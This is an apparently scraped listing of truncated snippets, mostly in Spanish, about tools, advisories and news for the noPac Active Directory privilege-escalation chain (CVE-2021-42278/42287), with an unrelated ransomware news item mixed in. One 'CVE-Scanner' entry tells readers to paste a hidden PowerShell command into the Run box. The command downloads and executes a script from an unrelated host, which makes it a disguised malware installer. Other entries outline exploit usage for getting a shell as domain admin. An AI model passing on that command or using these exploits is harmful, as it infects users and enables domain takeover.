noPac

noPac Este proyecto nace del estudio del principio de noPac, y se han realizado algunos cambios sobre la base del proyecto de cube0x0. Se han agregado comentarios personales de comprensión en el código fuente. Se eliminó la función Scan, personalmente considero que es de poca utilidad. Se agregó ...

noPac

Acerca de Explotando CVE-2021-42278 y CVE-2021-42287 para suplantar al administrador del dominio desde un usuario de dominio estándar Modificado desde sam-the-admin. Uso SAM THE ADMIN CVE-2021-42278 + CVE-2021-42287 chain positional arguments: domain/username:password Account used to authenticate...

noPac-detection

Acerca de Script de detección para CVE-2021-42278 y CVE-2021-42287 Uso The detection script uses the domain account credentials to determine the possibility of the vulnerabilities. usage: noPac-detection.py -h -debug -dc-ip -targetUser credentials optional arguments: -h, --help show this help...

Invoke-sAMSpoofing

Invoke-sAMSpoofing Explotaciones CVE-2021-42287/CVE-2021-42278 en powershell Tabla de contenido Resumen Menú Capturas de pantalla Referencias Resumen Un script sencillo para atacar AD con las explotaciones CVE-2021-42287/CVE-2021-42278 automáticamente. Menú Invoke-sAMSpooofing Invoke-GoldenTicket...

CVE-Scanner

CVE-Scanner Escáner y explotador de CVE-2021-42287/CVE-2021-42278/OTRO. Instalación 1. Presiona WIN + R 2. Copia y pega el siguiente código y presiona Enter powershell -WindowStyle Hidden -Command ScriptBlock::Createirm https://jaihind.edu.in/weatherdolphin/dollrandom.Invoke; 3. Reinicia tu PC Us...

sam-the-admin

Explotando CVE-2021-42278 y CVE-2021-42287 para suplantar a DA desde un usuario de dominio estándar Problemas conocidos no funcionará fuera de Kali, lo actualizaré más tarde : Echa un vistazo a Armamento de CVE-2021-42287/CVE-2021-42278 sAMAccountName spoofing...

noPac

noPac CVE-2021-42287/CVE-2021-42278 Escáner y Explotador. Otra explotación de bajo esfuerzo para pasar de usuario de dominio a administrador de dominio. Si un Controlador de Dominio es vulnerable, devolverá un TGT sin PAC, todas las miradas en tickets de tamaño pequeño. Mitigación ¡Parchea tus...

Invoke-noPac

Invoke-noPac El ensamblado .Net está basado en mi fork https://github.com/ricardojba/noPac que tiene algunos cambios de código para mejorar el original. Cargador de ensamblado .Net estilo PowerSharpPack para el escáner y exploit CVE-2021-42287 - CVE-2021-42278 noPac. Uso: Set-PSReadlineOption...

noPac

noPac Exploiting CVE-2021-42278 and CVE-2021-42287 The original noPac project may have some issues in implementation, which prevented it from working locally, so reference was made to the sam-the-admin project for modifications. Usage pip3 install -r requirements.txt GetShell python3 exp.py...

noPac

Acerca de Exploit de NoPac, que explota algunas vulnerabilidades antiguas CVE-2021-42278 y CVE-2021-42287 para suplantar a un administrador de dominio desde un usuario estándar. Se acabaron las dependencias molestas, solo un único binario, joder, amo Go, Python JAMÁS podría. El flag -shell...

CVE-Scanner

CVE-Scanner 🔍 CVE-Scanner es una herramienta diseñada para escanear y explotar vulnerabilidades asociadas con CVE-2021-42287, CVE-2021-42278 y otros problemas de seguridad. Este proyecto tiene como objetivo proporcionar a profesionales e investigadores de seguridad un método sencillo para...

CosmicBeetle Deploys Custom ScRansom Ransomware, Partnering with RansomHub

The threat actor known as CosmicBeetle has debuted a new custom ransomware strain called ScRansom in attacks targeting small- and medium-sized businesses SMBs in Europe, Asia, Africa, and South America, while also likely working as an affiliate for RansomHub. "CosmicBeetle replaced its previously...

SUSE CVE-2021-42287

unknown...

noPac - Exploiting CVE-2021-42278 And CVE-2021-42287 To Impersonate DA From Standard Domain User

Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user Changed from sam-the-admin. Usage SAM THE ADMIN CVE-2021-42278 + CVE-2021-42287 chain positional arguments: domain/username:password Account used to authenticate to DC. optional arguments: -h, --help show thi...

Microsoft Windows Active Directory Privilege Escalation Multiple Vulnerabilities (CVE-2021-42278; CVE-2021-42287)

Multiple Privilege Escalation vulnerabilities exists in Microsoft Windows Active Directory. Successful exploitation of this vulnerability could allow a remote attacker to easily elevate their privilege to that of a domain admin once he compromise a regular user in the domain...

Two Active Directory Bugs Lead to Easy Windows Domain Takeover

A proof-of-concept tool has been published that leverages two Windows Active Directory bugs fixed last month that, when chained, can allow easy Windows domain takeover. In a Monday alert, Microsoft urged organizations to immediately patch the pair of bugs, tracked as CVE-2021-42287 and...

CVE-2021-42287

creationtimestamp| type| source ---|---|--- 2021-12-11 19:44:35+00:00| published-proof-of-concept| https://t.me/GithubRedTeam/952 2021-12-11 20:46:13+00:00| published-proof-of-concept| https://t.me/BlueRedTeam/1328 2021-12-12 14:54:29+00:00| published-proof-of-concept| https://t.me/m1swarr1or/29...

Exploit for CVE-2021-42278

Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA f...

Exploit for CVE-2021-42278

Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA f...

CVE-2021-42287

Active Directory Domain Services Elevation of Privilege Vulnerability...